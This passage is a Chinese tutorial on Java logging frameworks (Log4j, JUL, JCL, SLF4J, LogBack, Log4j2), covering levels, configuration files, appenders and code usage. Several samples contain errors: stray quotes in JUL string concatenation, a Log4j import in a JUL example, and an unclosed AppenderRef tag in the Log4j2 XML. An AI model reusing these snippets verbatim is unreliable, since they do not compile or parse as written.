的一个开源项目。使用Log4j可以通过配置文件来灵活进行配置,控制日志信息的输出格式和目标,而不需要修改程序代码。使用日志级别日志级别 日志描述OFF 关闭:最高级别,不输出日志FATAL 致命:输出非常严重的可能会导致应用程序终止的错误。ERROR 错误:严重错误,主要是程序出错。WARN 警告:输出可能潜在的危险状况。INFO 信息:输出应用运行过程的详细信息。DEBUG 调试:输出更细致的对调试应用有用的信息。TRACE 跟踪:输出更细致的程序运行轨迹。ALL 所有:输出所有级别信息。日志优先级别从高到低顺序为: OFF > FATAL > ERROR > WARN > INFO > DEBUG > TRACE > ALLapache建议使用4级,即 ERROR、WARN、INFO、DEBUG使用步骤(1)引入相关依赖 <dependency> <groupId>log4j</groupId> <artifactId>log4j</artifactId> <version>1.2.12</version> </dependency>(2)配置log4j核心配置文件log4j.properties先认识一下Log4j三大组件Logger、Appender、Layout。Logger: 日志记录器,日志记录的核心类,用于输出不同日志级别的消息。Appender: 日志输出目标,用于指定日志输出的目的地,如控制台、文件等等。Layout: 日志格式化器,用于指定日志按照什么格式输出,是日志输出的格式化器。配置样例:# Global logging configuration ######################### Logger ############################ # 设置日志输出级别以及输出目的地,等号后第一个参数写日志级别,级别后面写输出目的地,目的地名可自定义,多个目的地以逗号分开。 # 设置根Logger,默认输出DEBUG以上的记录,输出目标(appender)为CONSOLE、LOGFILE log4j.rootLogger=DEBUG,CONSOLE,LOGFILE ######################### Appender ######################### # 对目标CONSOLE进行配置(与Logger对应) # 设置日志目标类型为org.apache.log4j.ConsoleAppender控制台类型 log4j.appender.CONSOLE=org.apache.log4j.ConsoleAppender # 输出到的目的地 log4j.appender.CONSOLE.Target = System.out # 指定控制台输出日志级别 log4j.appender.CONSOLE.Threshold = DEBUG # 默认值是 true, 表示是否立即输出 log4j.appender.CONSOLE.ImmediateFlush = true # 设置编码方式 log4j.appender.CONSOLE.Encoding = UTF-8 # 设置日志输出布局方式Layout log4j.appender.CONSOLE.layout=org.apache.log4j.PatternLayout # 如果日志输出布局为PatternLayout 自定义级别,需要使用ConversionPattern指定输出格式 log4j.appender.CONSOLE.layout.ConversionPattern=%d{yyyy-MM-dd HH:mm:ss} %5p (%c:%L) - %m%n # 对目标LOGFILE进行设置(与Logger对应) # 设置日志目标类型为org.apache.log4j.FileAppender文件类型 log4j.appender.LOGFILE=org.apache.log4j.FileAppender # 指定输出文件路径,相对路径或绝对路径 log4j.appender.LOGFILE.File =./logs/error.log #日志输出到文件,默认为true log4j.appender.LOGFILE.Append = true # 指定输出日志级别 log4j.appender.LOGFILE.Threshold = ERROR # 是否立即输出,默认值是 true, log4j.appender.LOGFILE.ImmediateFlush = true # 设置编码方式 log4j.appender.LOGFILE.Encoding = UTF-8 # 设置日志输出布局方式Layout log4j.appender.LOGFILE.layout = org.apache.log4j.PatternLayout # 如果日志输出布局为PatternLayout 自定义级别,需要使用ConversionPattern指定输出格式 log4j.appender.LOGFILE.layout.ConversionPattern = %-d{yyyy-MM-dd HH:mm:ss} [ %t:%r ] - [ %p ] %m%nrootLogger部分总是存在一个rootLogger,即使没有显示配置也是存在的,并且默认输出级别为DEBUG,所有其他的Logger都默认继承自rootLogger子Logger格式:log4j.logger.childName=INFO,appenderName1,appenderName2...注意,在设置子Logger后,会造成appender叠加,即子Logger输出一次,父Logger也会输出一次,如果要限制叠加,则需要添加下面的语句: log4j.additivity.childName=falseAppender部分日志信息输出目的地类型类型 描述org.apache.log4j.ConsoleAppender 控制台org.apache.log4j.FileAppender 文件org.apache.log4j.DailyRollingFileAppender 每天产生一个日志文件org.apache.log4j.RollingFileAppender 文件大小到达指定尺寸的时候产生一个新的文件org.apache.log4j.WriterAppender 将日志信息以流格式发送到任意指定的地方ConsoleAppender控制台常配置属性Threshold: 指定日志消息的输出最低日记级别。ImmediateFlush: 默认值是true,意谓着所有的消息都会被立即输出。Target:指定输出控制台,默认情况下是System.outFileAppender 文件的常配置属性Threshold:指定日志消息的输出最低日记级别。ImmediateFlush:默认值是true,意谓着所有的消息都会被立即输出。File:指定消息输出的文件路径。Append:默认值是true,即将消息增加到指定文件中,false指将消息覆盖指定的文件内容。RollingFileAppender的常配置属性Threshold:指定日志消息的输出最低日记级别。ImmediateFlush:默认值是true,意谓着所有的消息都会被立即输出。File:指定消息输出到mylog.txt文件。Append:默认值是true,即将消息增加到指定文件中,false指将消息覆盖指定的文件内容。MaxFileSize:后缀可以是KB, MB 或者是 GB. 在日志文件到达该大小时,将会自动滚动,即将原来的内容移到mylog.log.1文件。MaxBackupIndex=2:指定可以产生的滚动文件的最大数。Layout部分每一个Appender都会指定一个布局,布局的类型有如下:类型 描述org.apache.log4j.HTMLLayout 以HTML表格形式布局org.apache.log4j.PatternLayout 可以灵活地指定布局模式org.apache.log4j.SimpleLayout 包含日志信息的级别和信息字符串org.apache.log4j.TTCCLayout 包含日志产生的时间、线程、类别等等信息其中PatternLayout类型格式为自定义的,指定此类型需要设置ConversionPattern属性,如: log4j.appender.A1.layout.ConversionPattern=%-4r %-5p %d{yyyy-MM-dd HH:mm:ssS} %c %m%nConversionPattern配置属性符号 描述%p 输出日志信息优先级,即DEBUG,INFO,WARN,ERROR,FATAL%d 输出日志时间点的日期或时间,默认格式为ISO8601,也可以在其后指定格式,比如:%d{yyyy MM dd HH:mm:ss,SSS},输出类似:2002年10月18日 22:10:28,921%r 输出自应用启动到输出该log信息耗费的毫秒数%c 输出日志信息所属的类目,通常就是所在类的全名%t 输出产生该日志事件的线程名%l 输出日志事件的发生位置,相当于%C.%M(%F:%L)的组合,包括类目名、发生的线程,以及在代码中的行数。%x 输出和当前线程相关联的NDC(嵌套诊断环境)%F 输出日志消息产生时所在的文件名称%L 输出代码中的行号%m 输出代码中指定的消息,产生的日志具体信息%n 输出一个回车换行符,Windows平台为”\r\n",Unix平台为"\n"输出日志信息换行%% 输出一个"%“字符- "-"号指定左对齐,位于%与字母间,例:%-d. "."号指定字符长度,超过设置长度则将左边多余的截掉,例%.20c(3)代码中使用 import org.apache.log4j.Logger; public class TestLog4j { public static void main(String[] args) { // 获取此类的logger,getLogger()中写此类 final Logger logger = Logger.getLogger(TestLog4j.class); // 获取在配置文件中自定义的appender,即输出目标 final Logger saveUserLog = Logger.getLogger("Console"); // 手动设置日志输出 logger.info("info"); logger.error("error"); saveUserLog.info("张三,男,26岁,北京大学,2018-05-19,学霸"); } }总结:用户使用Logger来进行日志记录,Logger持有若干个Appender,日志的输出操作是由Appender完成的,它会将日志内容输出到指定位置(日志文件、控制台等)。Appender在输出日志时会使用Layout,将输出内容进行排版。JUL日志框架JUL全称Java Util Logging,是Java原生的日志框架,使用时不需要另外引入第三方类库,相对于其他日志框架来说其特点是使用方便,能够在小型应用中灵活应用。JUL是 Sun 公司于 2002 年 5 月正式发布的。它是自 J2SE 1.4 版本开始提供的一个新的应用程序接口,需 JDK1.4 版本以上才能支持。JUL日志框架使用的频率并不高,但开发时难免会涉及,最好能理解。JUL日志组件组件 描述Logger(记录器) 用于记录系统或应用程序的消息,是访问日志系统的入口程序Handler(处理器) 也称Appender,从记录器获取日志消息并输出,决定日志记录最终的输出位置Filters(过滤器) 用于对记录的内容提供细粒度控制,超出日志级别提供的控制Formatter(格式) 提供对日志记录格式化的支持,决定日志记录最终的输出形式,相当于LayoutJUL使用的日志级别级别 描述OFF 关闭所有消息的日志记录SEVERE 错误信息WARNING 警告信息INFO 默认信息CONFIG 配置信息FINE 较详细FINER 详细FINEST 超详细ALL 启用所有消息的日志记录日志优先级别从高到低顺序为: OFF > SEVERE > WARNING > INFO > CONFIG > FINE > FINER > FINEST > ALLJUL使用JUL在Java中有系统默认的配置文件,当开发人员没有设置配置文件时,则会使用系统默认的配置文件。使用步骤(无配置文件):1、导入java.util.logging.Logger包2、获取当前类的日志记录器Logger3、调用日志的相关方法,进行日志信息的输出示例: import org.junit.Test; import java.util.logging.Level; import java.util.logging.Logger; public class JULTest { @Test public void test01() { // 引入当前类的全路径字符串获取日志记录器 Logger logger = Logger.getLogger("com.jul.JulTest"); // 注:在获取logger之后,可使用logger的API接口进行日志配置 // 例如:logger.setLevel(level.INFO) 配置日志显示的最低级别 // 此方式代码耦合度过高,代码复杂,不建议使用 String name = "张三"; int age = 23; // 打印日志信息,对于日志的输出有两种方式 // 1、直接调用日志级别的相关方法,方法中传递日志输出信息 logger.info("学生姓名:" + name + ",学生年龄:" + age"); // 2、调用log方法,通过Level类型定义日志级别参数,以及搭配日志输出信息的参数 logger.log(Level.INFO, "学生姓名:" + name + ",学生年龄:" + age"); // 拼接字符串一般不建议使用,性能差,效率低,推荐使用占位符进行输出 logger.log(Level.INFO, "学生姓名:{0},学生年龄:{1}", new Object[]{name, age}); } }使用步骤(有配置文件):1、在resource目录下配置logging.properties示例: # RootLogger的日志级别(默认INFO),所有的Handler都受限于此日志级别,Handler的日志级别可以比RootLogger的日志级别高 .level=ALL # RootLogger默认的处理器,可以配置多个,所有非手动解除父日志的子日志都将使用这些处理器 handlers=java.util.logging.ConsoleHandler, java.util.logging.FileHandler # ConsoleHandler控制台输出处理器配置 # 指定ConsoleHandler默认日志级别 java.util.logging.ConsoleHandler.level=ALL java.util.logging.ConsoleHandler.encoding=UTF-8 # FileHandler文件输出处理器配置 # 指定FileHandler默认日志级别 java.util.logging.FileHandler.level=INFO # 日志文件输出路径 java.util.logging.FileHandler.pattern=/dylan%u.log # 单个日志文件大小,单位是bit,1024bit即为1kb java.util.logging.FileHandler.limit=1024*1024*10 # 日志文件数量,如果数量为2,则会生成dylan.log.0文件和dylan.log.1文件,总容量为: (limit * count)bit java.util.logging.FileHandler.count=1 # FileHandler持有的最大并发锁数 java.util.logging.FileHandler.maxLocks=100 # 指定要使用的Formatter类的名称,FileHandler默认使用的是XMLFormatter java.util.logging.FileHandler.formatter=java.util.logging.SimpleFormatter # 涉及中文日志就最好加上编码集 java.util.logging.FileHandler.encoding=UTF-8 # 是否以追加方式添加日志内容 java.util.logging.FileHandler.append=true # SimpleFormatter的输出格式配置 java.util.logging.SimpleFormatter.format=%4$s: %5$s [%1$tc]%n2、在代码中读取配置文件3、获取LogManager4、获取当前类的日志记录器Logger5、调用日志的相关方法,进行日志信息的输出示例:import org.apache.log4j.Logger; public class TestLog4j { @Test public void testUserDefined() throws IOException { // 1.读取配置文件 InputStream in = new FileInputStream("logging.properties"); // 2.获取LogManager日志管理器 final LogManager logManager = LogManager.getLogManager(); // 3.日志管理器读取自定义配置文件 logManager.readConfiguration(in); // 4.输出日志信息 Logger logger = Logger.getLogger("com.jul.TestLog4j"); logger.warning("warning:警告信息"); logger.info("info:默认信息"); }JCL 日志门面Jakarta Commons-logging(JCL)是apache最早提供的日志门面。它为多种日志框架提供一个通用的日志接口,并通过动态查找机制,在程序运行时自动找出真正使用的日志组件。用户可通过配置,自由选择第三方的日志组件作为日志的具体实现。使用日志级别日志级别 日志描述OFF 关闭:最高级别,不输出日志FATAL 致命:输出非常严重的可能会导致应用程序终止的错误。ERROR 错误:严重错误,主要是程序出错。WARN 警告:输出可能潜在的危险状况。INFO 信息:输出应用运行过程的详细信息。DEBUG 调试:输出更细致的对调试应用有用的信息。TRACE 跟踪:输出更细致的程序运行轨迹。ALL 所有:输出所有级别信息。日志优先级别从高到低顺序为: OFF > FATAL > ERROR > WARN > INFO > DEBUG > TRACE > ALLapache建议使用4级,即 ERROR、WARN、INFO、DEBUG使用步骤(1)导入common-logging依赖 <dependency> <groupId>commons-logging</groupId> <artifactId>commons-logging</artifactId> <version>1.2</version> </dependency>(2)在项目的src/main/resource目录下创建common-logging.properties配置: // 指定使用的日志框架 org.apache.commons.logging.Log=org.apache.commons.logging.impl.SimpleLog(3)在程序中使用logger开发 import org.apache.commons.logging.Log; import org.apache.commons.logging.LogFactory; public class CommonsTest { //使用common-logger的logFactory.getLog()方法获取当前类的logger private final static Log logger = LogFactory.getLog(CommonsTest.class); public static void main(String[] args) { //使用logger输出日志 logger.debug("DEBUG ..."); logger.info("INFO ..."); logger.error("ERROR ..."); logger.warn("WARN..."); } }commons.logging原理JCL有两个重要的抽象类:Log( 基本记录器 ) 和 LogFactory( 负责创建 Log 实例 )Log:包含着多个日志框架的默认实现类实现类 对应日志框架org.apache.commons.logging.impl.Jdk14Logger JULorg.apache.commons.logging.impl.Log4JLogger Log4Jorg.apache.commons.logging.impl.LogKitLogger avalon-Logkitorg.apache.commons.logging.impl.SimpleLog common-logging自带org.apache.commons.logging.impl.NoOpLog common-logging自带这些实现类中只有common-logging自带的SimpleLog和NoOpLog有实际的log实现,其他的实现类需要使用对应的日志组件进行具体的实现。LogFactory:顾名思义,是log的工厂,负责使用动态查找机制进行log实例的获取。其查找步骤如下(找到则停):1、首先在classpath下寻找commons-logging.properties文件中配置的log,如存在,则使用;2、查看classpath中是否有Log4j的包,如果发现,则自动使用Log4j作为日志实现类;3、使用JDK自身的日志实现类java.util.logging.Logger;4、使用commons-logging自己提供的简单的日志实现类SimpleLog;文件commons-logging.properties的配置(可选)一句话! // 指定使用的日志框架 org.apache.commons.logging.Log=org.apache.commons.logging.impl.Log4JLogger由于commons-logging并没有进行具体的日志实现,更多的时候用作适配器使用,即插即拔,所以并不需要太多的配置,详细的配置由使用的日志组件进行配置。当然,如果使用的是commons-logging自带的SimpleLog进行日志实现,则需要进行稍微多一点的配置。SimpleLog这是一个很简单的日志输出实现类,它只能控制台输出,提供了以下可定制的属性// 是否输出类的全路径名,如:com.qinxin.User,默认为false org.apache.commons.logging.simplelog.showlogname // 是否输出类的短路径名,如:User,默认为true且与showlogname不能共存 org.apache.commons.logging.simplelog.showShortLogname // 是否输出时间,默认不输出 org.apache.commons.logging.simplelog.showdatetime // 输出的时间格式,默认为yyyy/MM/dd HH:mm:ss:SSS zzz org.apache.commons.logging.simplelog.dateTimeFormatNoOpLog这个实现类什么都不做,所有的方法均为空附言:commons-logging一般不使用自带的日志框架,最多的使用是搭配log4j进行开发,此搭配也是主流选择之一。SLF4J简单的日志门面SLF4J(Simple logging Facade for Java)与JCL(commons-logging)一样,并不是一个真正的日志实现,而是一个抽象层,具体实现都交由日志框架完成。它封装有各种Logging所需要使用到的api,每个logging对应一种日志框架,用户在使用时只需要将使用的日志框架进行绑定即可。SLF4J运行机制如前面所言,SLF4J是一个日志门面,也是一种规范。它提供一个供各种日志框架作具体实现的接口SLF4JServiceProvider,各日志框架想要绑定SLF4J并使用,就必须对接口SLF4JServiceProvider进行实现(由日志框架提供方实现,开发者无需担心),之后,SLF4J会通过SPI机制(Java内置的服务发现机制)对项目类路径下所有实现了SLF4JServiceProvider接口的实例类进行扫描,获取对应的Logger工厂类。补充说明:如果实例列表中存在1个或多个实例,只获取第一个实例,即配置多个日志框架,只会使用最先被加载的那一个。如果一个日志框架都不存在,则打印警告信息。SPI机制要求日志框架提供方实现SLF4JServiceProvider,但多数框架并不会想LogBack一样主动实现该接口,所以出现了slf4j-log4j12、slf4j-jdk14、slf4j-simple等项目,也只有引入这些依赖,SPI机制才会扫描到。SLF4J使用1、在maven项目中引入依赖<dependency> <groupId>org.slf4j</groupId> <artifactId>slf4j-api</artifactId> <version>2.0.5</version> </dependency> <dependency> <groupId>ch.qos.logback</groupId> <artifactId>logback-classic</artifactId> <version>1.4.10</version> </dependency>2、在classpath路径下配置logback.xml(详细配置请看LogBack篇)<?xml version="1.0" encoding="UTF-8" ?> <configuration> <appender name="Console" class="ch.qos.logback.core.ConsoleAppender"> <encoder> <pattern>%d{HH:mm:ss.SSS} [%t] %-5level %logger{36} - %msg%n</pattern> </encoder> </appender> <root level="DEBUG"> <appender-ref ref="Console"/> </root> </configuration>3、在代码中使用import org.slf4j.Logger; import org.slf4j.LoggerFactory; public class Main { private static final Logger logger = LoggerFactory.getLogger(Main.class); public static void main(String[] args) { logger.info("这是info信息"); logger.warn("这是warn信息"); logger.debug("这是debug信息"); } }SLF4j的优点即插即拔,可快速进行日志框架的替换支持”{}“占位符功能。字符串拼接一直一来都被人所诟病的存在,每一次拼接并非是在原有的字符串上增加,而是重新创建一个String类型的字符串,极其消耗性能和空间。而使用占位符功能不仅降低了你代码中字符串连接次数,而且还节省了新建的String对象。这也是很多人喜欢使用SLF4J而不是commons-logging的原因。LogBack日志框架LogBack与SLF4j是同一作者开发,可以说,LogBack是为SLF4J而生,它比log4j更小、更快、更灵活。LogBack的三个模块:logback-core:核心代码模块logback-classic:日志模块,完整实现了 SLF4J APIlogback-access:配合Servlet容器,提供 http 访问日志功能在别人的项目中,你可能看到别人只引入了logback-classic依赖,而没有引入核心模块,那是因为通常引入logback-classic的依赖,便可自动引入logback-core,但保险起见,建议引入两者或者全部。SpringBoot默认集成了logback和slf4j,因此无需专门引入便可进行直接使用,若不放心,也可显式添加配置。LogBack的日志级别日志级别 日志描述OFF 关闭:最高级别,不输出日志FATAL 致命:输出非常严重的可能会导致应用程序终止的错误。ERROR 错误:严重错误,主要是程序出错。WARN 警告:输出可能潜在的危险状况。INFO 信息:输出应用运行过程的详细信息。DEBUG 调试:输出更细致的对调试应用有用的信息。TRACE 跟踪:输出更细致的程序运行轨迹。ALL 所有:输出所有级别信息。日志优先级别从高到低顺序为: OFF > FATAL > ERROR > WARN > INFO > DEBUG > TRACE > ALLLogBack的使用1、在maven项目中导入依赖<dependency> <groupId>ch.qos.logback</groupId> <artifactId>logback-classic</artifactId> <version>1.2.10</version> </dependency>2、在项目类路径中配置LogBack.xml(或者LogBack.groovy)配置样例:<?xml version="1.0" encoding="UTF-8"?> <configuration debug="true" scan="true" scanPeriod="1 seconds"> <contextName>logback</contextName> <!--定义参数,可以通过${app.name}使用--> <property name="app.name" value="logback_test"/> <!--root是默认的logger,level指定输出日志级别是trace--> <root level="trace"> <!--绑定两个appender,日志通这两个appender配置进行输出--> <appender-ref ref="console"/> <appender-ref ref="file"/> </root> <!--自定义Logger,输出日志级别为warn,身为子Logger,它会继承root节点的appender--> <logger name="logbackTest" level="warn"/> <!--自定义Logger,设置了appender,同时继承root的appender,会导致一条日志在控制台输出两次的情况--> <!--可通过设置additivity指定不使用rootLogger配置的appender进行输出--> <logger name="mytest" level="info" additivity="false"> <appender-ref ref="stdout"/> </logger> <!--设置root中定义的appender,用class属性指定日志为ConsoleAppender控制台输出日志--> <appender name="stdout" class="ch.qos.logback.core.ConsoleAppender"> <!--定义过滤器,要求只打印比此日志级别更高的日志--> <filter class="ch.qos.logback.classic.filter.ThresholdFilter"> <level>DEBUG</level> </filter> <!-- encoder 默认配置为PatternLayoutEncoder自定义布局,需要配置格式 --> <encoder> <pattern>%d [%thread] %-5level %logger{36} [%file : %line] - %msg%n</pattern> </encoder> </appender> <appender name="file" class="ch.qos.logback.core.rolling.RollingFileAppender"> <!--定义日志输出的相对路径/绝对路径,${app.name}为引用properties定义的参数--> <file>/logs/${app.name}.log</file> <!--定义日志滚动的策略--> <rollingPolicy class="ch.qos.logback.core.rolling.TimeBasedRollingPolicy"> <!--定义文件滚动时的文件名的格式--> <fileNamePattern>/logs/${app.name}.%d{yyyy-MM-dd.HH}.log.gz </fileNamePattern> <!--设置60天的时间周期,日志量最大20GB--> <maxHistory>60</maxHistory> <!-- 该属性在 1.1.6版本后 才开始支持--> <totalSizeCap>20GB</totalSizeCap> </rollingPolicy> <triggeringPolicy class="ch.qos.logback.core.rolling.SizeBasedTriggeringPolicy"> <!--每个日志文件最大100MB--> <maxFileSize>100MB</maxFileSize> </triggeringPolicy> <!--定义输出格式--> <encoder> <pattern>%d [%thread] %-5level %logger{36} [%file : %line] - %msg%n</pattern> </encoder> </appender> </configuration>每次看到xml配置都很头痛,但日志配置总会遵循着Logger、Appender、Layout进行开展。3、在代码中使用 public class Main { private static final Logger logger = LoggerFactory.getLogger(Main.class); public static void main(String[] args) { logger.info("这是info信息"); logger.warn("这是warn信息"); logger.debug("这是debug信息"); } }Log4j2日志框架log4j2是log4j的升级版,继logBack之后出现,拥有着更高的性能和日志吞吐量,且引进有新的技术(无锁异步等),并且配置更加灵活。目前最火热的搭配为SLF4J+Log4j2日志开发。Log4j2中文文档:Log4j2 中文文档 - Log4j2 2.x Manual | Docs4devLog4j2的日志级别日志级别 日志描述OFF 关闭:最高级别,不输出日志FATAL 致命:输出非常严重的可能会导致应用程序终止的错误。ERROR 错误:严重错误,主要是程序出错。WARN 警告:输出可能潜在的危险状况。INFO 信息:输出应用运行过程的详细信息。DEBUG 调试:输出更细致的对调试应用有用的信息。TRACE 跟踪:输出更细致的程序运行轨迹。ALL 所有:输出所有级别信息。日志优先级别从高到低顺序为: OFF > FATAL > ERROR > WARN > INFO > DEBUG > TRACE > ALLlog4j2配置log4j2配置文件可有yml、properties、xml、json等格式,常见使用xml格式。多个配置文件存在时,加载的优先级为 properties > yaml > json > xml。配置样例(简洁模式):<?xml version="1.0" encoding="UTF-8"?> <!--根元素,status设置应该记录到控制台的内部 Log4j 事件的级别--> <Configuration status="WARN"> <!--设置全局变量--> <Properties> <Property name="date_format" value="%d{HH:mm:ss.SSS} [%t] %-5level %logger{36} - %msg%n"/> <Property name="log_path">D:/logs</Property> </Properties> <!--设置过滤器--> <Filter type="ThresholdFilter" level="trace"/> <!--设置输出目标--> <Appenders> <!--配置一个名为Console的控制台类型appender--> <Console name="Console" target="SYSTEM_OUT"> <!--设置输出格式,引用全局变量--> <PatternLayout pattern="${date_format}"/> <!--控制台只输出level及其以上级别的信息(onMatch),其他的直接拒绝(onMismatch)--> <ThresholdFilter level="info" onMatch="ACCEPT" onMismatch="DENY"/> </Console> <!--配置一个名为File的文件类型appender--> <File name="File" fileName="${log_path}/xml_config.log"> <PatternLayout pattern="%d %p %c{1.} [%t] %m%n"/> </File> <!-- 这个会打印出所有的error及以下级别的信息,每次大小超过size,则这size大小的日志会自动存入按年份-月份建立的文件夹下面并进行压缩,作为存档--> <RollingFile name="RollingFileError" fileName="${log_path}/error.log" filePattern="${log_path}/$${date:yyyy-MM}/${FILE_NAME}-%d{yyyy-MM-dd}-ERROR_%i.log.gz"> <!--控制台只输出level及以上级别的信息(onMatch),其他的直接拒绝(onMismatch)--> <ThresholdFilter level="error" onMatch="ACCEPT" onMismatch="DENY"/> <PatternLayout pattern="${LOG_PATTERN}"/> <Policies> <!--interval属性用来指定多久滚动一次,默认是1小时--> <TimeBasedTriggeringPolicy interval="1"/> <SizeBasedTriggeringPolicy size="20MB"/> </Policies> <!-- DefaultRolloverStrategy属性如不设置,则默认为最多同一文件夹下7个文件开始覆盖--> <DefaultRolloverStrategy max="15"/> </RollingFile> <!--配置名为database的数据库类型的appender--> <JDBC name="databaseAppender" tableName="dbo.application_log"> <DataSource jndiName="java:/comp/env/jdbc/LoggingDataSource" /> <Column name="eventDate" isEventTimestamp="true" /> <Column name="level" pattern="%level" /> <Column name="logger" pattern="%logger" /> <Column name="message" pattern="%message" /> <Column name="exception" pattern="%ex{full}" /> </JDBC> </Appenders> <Loggers> <!--配置根Logger,设置日志级别为info--> <Root level="info"> <!--使用在Appenders中定义的名为Console的appender--> <AppenderRef ref="Console"/> </Root> <!--配置子Logger,--> <Logger name="com.qinxin.Log4j2Test" level="debug" additivity="false"> <AppenderRef ref="File" </Logger> </Loggers> </Configuration>各节点层级关系:Configuration <!--配置文件根节点-->Name <!--日志项目名称(可选)-->Properties <!--全局配置参数(可选)-->Filter <!--过滤器(可选)-->Appenders <!--输出目标-->Async <!--设置异步Appender(不推荐,推荐使用异步Logger)-->AppenderRef <!--绑定Appender-->ConsoleAppender <!--在控制台输出的Appender-->PatternLayout <!--自定义输出格式-->ThresholdFilterFileAppender <!--在文件输出的Appender-->PatternLayout <!--自定义输出格式-->ThresholdFilterJDBCAppender <!--在数据库输出的Appender-->DataSourceConnectionFactoryDriverManagerPoolingDriverHTTPAppender <!--通过 HTTP 发送日志的Appender-->NoSqlAppender <!--将日志事件写入 NoSQL 数据库的Appender,当前存在 MongoDB 和 Apache CouchDB 的提供程序实现-->LoggersRoot <!--父Logger-->Logger <!--自定义子logger,会继承父logger的appender-->Configuration属性Attribute Name Descriptionadvertiser (可选)advertiser 插件名称,将用于广告各个 FileAppender 或 SocketAppender 配置。提供的唯一 advertiser 插件是“ multicastdns”。dest stderr 的“ err”,stdout 的“ out”,文件路径或 URL。monitorInterval 在检查文件配置是否更改之前必须经过的最短时间(以秒为单位)。name 配置的名称。packages 用逗号分隔的软件包名称列表,用于搜索插件。每个类加载器仅加载一次插件,因此更改此值可能对重新配置没有任何影响。schema 标识类加载器的位置,该位置用于定位 XML 模式以用于验证配置。仅在 strict 设置为 true 时有效。如果未设置,则不会进行任何模式验证。shutdownHook 指定在 JVM 关闭时 Log4j 是否应自动关闭。默认情况下,关闭钩子是启用的,但可以通过将此属性设置为“禁用”来禁用shutdownTimeout 指定关闭 JVM 时将关闭多少毫秒的附加程序和后台任务。默认值为零,这意味着每个追加程序都使用其默认超时,并且不 await 后台任务。并非所有的附加程序都将遵守此规则,这只是提示,而不是绝对的保证,关闭过程将不需要更长的时间。将此值设置得太低会增加丢失尚未写入最终目标的未决日志事件的风险。参见LoggerContext.stop(long, java.util.concurrent.TimeUnit)。 (如果 shutdownHook 设置为“禁用”,则不使用.)status 应该记录到控制台的内部 Log4j 事件的级别。此属性的有效值为“ trace”,“ debug”,“ info”,“ warn”,“ error”和“ fatal”。 Log4j 会将有关初始化,过渡和其他内部操作的详细信息记录到状态 Logger 中。如果需要对 log4j 进行故障排除,设置 status =“ trace”是您可以使用的首批工具之一。strict 启用严格 XML 格式的使用。 JSON 配置中不支持。verbose 在加载插件时启用诊断信息。ConsoleAppender属性:Parameter Name Type Descriptionfilter Filter 确定事件是否应由此 Appender 处理的过滤器。通过使用 CompositeFilter,可以使用多个过滤器。layout Layout 用于格式化 LogEvent 的 Layout。如果未提供任何布局,则将使用默认图案布局“%m%n”。follow boolean 标识附加程序是否通过配置后进行的 System.setOut 或 System.setErr 兑现 System.out 或 System.err 的重新分配。请注意,在 Windows 上,follow 属性不能与 Jansi 一起使用。不能直接使用。direct boolean 直接写入 java.io.FileDescriptor 并绕过 java.lang.System.out/.err。将输出重定向到文件或其他进程时,最多可以使性能提高 10 倍。在 Windows 上不能与 Jansi 一起使用。不能与关注一起使用。输出将不遵守 java.lang.System.setOut()/。setErr(),并且可能与多线程应用程序中 java.lang.System.out/.err 的其他输出交织在一起。自 2.6.2 起新增。请注意,这是一个新增功能,到目前为止,仅在 Linux 和 Windows 上使用 Oracle JVM 进行了测试。name String Appender的名字。ignoreExceptions boolean 默认值为 true,导致在追加事件时遇到的异常会在内部记录下来,然后被忽略。设置为 false 时,异常将传播到调用方。当将此 Appender 封装在FailoverAppender中时,必须将其设置为 false。target String “ SYSTEM_OUT”或“ SYSTEM_ERR”。默认值为“ SYSTEM_OUT”。FileAppender属性:Parameter Name Type Descriptionappend boolean 如果为 true-默认值,记录将附加到文件末尾。设置为 false 时,将在写入新记录之前清除文件。bufferedIO boolean 如果为 true-默认值,则记录将被写入缓冲区,并且当缓冲区已满或(如果设置了 InstantFlush 时)记录被写入时,数据将被写入磁盘。文件锁定不能与 bufferedIO 一起使用。性能测试表明,即使启用了 InstantFlush,使用缓冲 I/O 也会显着提高性能。bufferSize int 当 bufferedIO 为 true 时,这是缓冲区大小,默认值为 8192 字节。createOnDemand boolean 附加器按需创建文件。仅当日志事件通过所有过滤器并将其路由到此附加程序时,附加程序才创建文件。默认为 false。filter Filter 确定事件是否应由此 Appender 处理的过滤器。通过使用 CompositeFilter,可以使用多个过滤器。fileName String 要写入的文件名。如果该文件或其任何父目录不存在,则将创建它们。immediateFlush boolean 设置为 true-默认值时,每次写操作后都会进行刷新。这将确保将数据写入磁盘,但可能会影响性能。JDBCAppender属性:Parameter Name Type Descriptionname String 需要。Appender的名字。ignoreExceptions boolean 默认值为 true,导致在追加事件时遇到的异常会在内部记录下来,然后被忽略。设置为 false 时,异常将传播到调用方。当将此 Appender 封装在FailoverAppender中时,必须将其设置为 false。filter Filter 确定事件是否应由此 Appender 处理的过滤器。通过使用 CompositeFilter,可以使用多个过滤器。bufferSize int 如果大于 0 的整数,这将导致附加程序缓冲日志事件并在缓冲区达到此大小时刷新。connectionSource ConnectionSource 需要。应从中检索数据库连接的连接源。tableName String 需要。要向其中插入日志事件的数据库表的名称。columnConfigs ColumnConfig[] 必需(和/或 columnMappings)。有关应将事件数据日志记录的列的信息以及如何插入该数据的信息。这由多个\ 元素表示。columnMappings ColumnMapping[] 必需(和/或 columnConfigs)。列 Map 配置列表。每列必须指定一个列名。每列都可以具有由其完全限定的类名指定的转换类型。默认情况下,转换类型为字符串。如果配置的类型与ReadOnlyStringMap/ThreadContextMap或ThreadContextStack分配兼容,则该列将分别用 MDC 或 NDC 填充(这是数据库特定的,他们如何处理插入 Map 或 List 值)。如果配置的类型与 java.util.Date 分配兼容,则日志时间戳记将转换为该配置的日期类型。如果配置的类型与 java.sql.Clob 或 java.sql.NClob 兼容,则格式化事件将分别设置为 Clob 或 NClob(类似于传统的 ColumnConfig 插件)。如果给定了 Literals 属性,则将在 INSERT 查询中按原样使用其值,而不会进行任何转义。否则,指定的布局或图案将转换为配置的类型并存储在该列中。immediateFail boolean 默认为false, 设置为 true 时,日志事件将不 await 尝试重新连接,如果 JDBC 资源不可用,日志事件将立即失败。 2.11.2 的新功能reconnectIntervalMillis long 默认为5000,如果设置为大于 0 的值,则在发生错误后,JDBCDatabaseManager 将在 await 指定的毫秒数后尝试重新连接到数据库。如果重新连接失败,则将引发异常(如果将 ignoreExceptions 设置为 false,则应用程序可以捕获该异常)。 2.11.2 中的新功能PatternLayout的pattern参数:符号 描述%d 表示时间,默认情况下表示打印完整时间戳 2012-11-02 14:34:02,123,可以调整 %d 后面的参数来调整输出的时间格式,格式为%d{HH:mm:ss}%p 表示输出日志的等级,可以使用 %highlight{%p} 